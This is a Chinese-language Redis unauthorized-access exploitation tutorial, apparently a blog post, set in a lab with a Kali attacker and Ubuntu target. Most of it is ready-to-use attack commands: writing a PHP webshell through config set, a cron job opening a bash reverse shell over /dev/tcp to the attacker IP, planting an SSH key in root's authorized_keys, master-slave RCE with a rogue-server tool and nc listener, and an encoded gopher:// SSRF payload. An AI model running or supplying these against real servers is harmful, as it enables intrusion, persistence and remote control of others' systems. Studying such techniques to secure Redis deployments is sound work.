redis是一款缓存数据库,默认端口为6379,若没有进行采用相关的策略,比如添加防火墙规则避免其他费信任来源ip访问等,这样会将Redis服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。
前置条件
环境
靶机Ubuntu IP:192.168.1.13 攻击机Kali IP:192.168.1.12
扫描端口
nmap -sV -p1000-6379 192.168.1.13
远程连接
redis-cli -h 192.168.1.13 -p 6379
默认情况下requirepass参数是空的,也就是说默认情况下是无密码验证的,这是未授权访问的利用的条件之一。
redis写webshell
Redis 存在未授权访问的情况下,也开启了 web 服务,已知Web目录的路径为/var/www/html,具有文件读写权限,就可以通过 redis 在指定的 web 目录下写入shell文件
写入shell
config set dir /var/www/html/
config set dbfilename shell.php
set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save
\r\n\r\n 是换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行。
写入成功
redis写计划任务反弹shell
任务计划反弹shell方法仅适用于Centos
因为默认 redis 写文件后是 644 权限,但是 Ubuntu 要求执行定时任务文件 /var/spool/cron/crontabs/<username> 权限必须是 600 才会执行,否则会报错 (root) INSECURE MODE (mode 0600 expected),而 Centos 的定时任务文件 /var/spool/cron/<username> 权限 644 也可以执行
因为 redis 保存 RDB 会存在乱码,在 Ubuntu 上会报错,而在 Centos 上不会报错
由于系统的不同,crontrab 定时文件位置也不同:
Centos 的定时任务文件在 /var/spool/cron/name
Ubuntu 的定时任务文件在 /var/spool/cron/crontabs/name
如果目标服务器存在redis未授权访问,就可以利用任务计划反弹shell
首先需要在vps上开启监听接受返回的shell
然后利用redis-cli写入任务计划,修改命令中的IP和端口
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.1.12/6666 0>&1\n"
config set dir /var/spool/cron/
save
完成写入
成功反弹shell
redis ssh-keygen 公钥登录服务器
通过redis向目标服务器写入ssh公钥,将公钥放到linux系统的/root/.ssh/authorized_keys的文件中,本地客户端通过对应的私钥进行免密登录。
条件是服务端存在.ssh目录并且有写入的权限,还需要redis是root启动,因为非root权限无法进入/root目录。
在攻击机中生成ssh公钥和私钥,密码设置为空
ssh-keygen -t rsa
将公钥写入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合)
链接目标服务器上的Redis服务,将保存的公钥key.txt写入Redis
cat key.txt | redis-cli -h 192.168.1.13 -x set crack
config set dir /root/.ssh
config set dbfilename authorized_keys
save
ssh利用私钥成功登录
ssh -i id_rsa root@192.168.1.13
redis 主从RCE执行命令
漏洞条件
更改redis.conf配置文件 protected-mode yes 改为 protected-mode no
#关闭redis保护模式
bind 127.0.0.1 改为
bind 0.0.0.0
漏洞利用工具
https://github.com/K0rz3n/redis-rogue-server
执行命令
python3 redis-rogue-server.py --rhost=192.168.1.13 --lhost=192.168.1.12 --exp=exp.so
nc -lvnp 2333
成功反弹shell
ssrf redis利用
找到SSRF
找6379端口的过程
验证是否存在SSRF
发送Web攻击payload
当在外部站点发现SSRF漏洞时,尝试用代理找内网的Redis服务(找默认的6379端口),看看是否存在Redis未授权漏洞,如果存在,就可以尝试获取反弹Shell。
检测redis未授权
http://192.168.1.13/ssrf.php?url=dict://127.0.0.1:6379/info
http://192.168.10.13/ssrf.php?url=http://127.0.0.1:6379
利用工具
https://github.com/firebroo/sec_tools/tree/master/redis-over-gopher
修改redis.cmd内容
flushall
config set dir /var/www/html/
config set dbfilename shell.php
set 'webshell' '<?php phpinfo();?>'
save
执行输出字符串
python3 redis-over-gopher.py
gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%34%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a%2a%30%0d%0a
转码再提交
成功生成shell
网友评论